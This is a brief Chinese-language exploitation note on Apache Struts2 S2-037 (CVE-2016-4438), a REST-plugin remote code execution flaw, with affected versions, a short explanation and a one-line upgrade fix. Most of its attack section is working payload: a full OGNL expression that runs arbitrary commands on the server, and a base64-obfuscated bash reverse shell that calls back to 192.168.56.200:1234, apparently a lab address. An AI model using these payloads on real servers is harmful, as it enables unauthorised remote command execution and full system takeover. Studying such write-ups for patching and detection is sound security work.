漏洞名称

S2-037 CVE-2016-4438 远程代码执行

利用条件

Struts 2.3.20 - Struts Struts 2.3.28.1

使用了REST插件

漏洞原理

Apache Struts2在使用REST插件的情况下,攻击者使用REST调用恶意表达式可以远程执行代码。

rest介绍:
使用http://localhost:8080/bee/action-name/1/XXX这种请求方式,其实XXX可以是任何合法的名字
Struts2会查找XXX为名字的方法来调用,比如请求http://localhost:8080/bee/test/1/abc,那么TestAction的public String abc()就会被调用

攻击者可以使用REST插件调用恶意表达式实现远程执行代码

当 Struts2 开启 devMode 模式时,将导致严重远程代码执行漏洞。如果 WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等

在开启 devMode 情况下,本漏洞可影响 Struts 2.1.0--2.5.1

漏洞利用

命令执行

payload

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#process=@java.lang.Runtime@getRuntime().exec(#parameters.command[0]),#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()),@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros),#ros.flush(),#xx=123,#xx.toString.json?command=ls /

command=执行命令

image-20230112180527326

在线url网址编码、解码(ES JSON在线工具)

编码后发送请求

image-20230112181001823

反弹shell

bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#process=@java.lang.Runtime@getRuntime().exec(#parameters.command[0]),#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()),@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros),#ros.flush(),#xx=123,#xx.toString.json?command=bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}

image-20230112181413374

image-20230112181515740

修复建议

升级最新版

参考文章

https://www.cnblogs.com/CoLo/p/12981291.html

https://cwiki.apache.org/confluence/display/WW/S2-037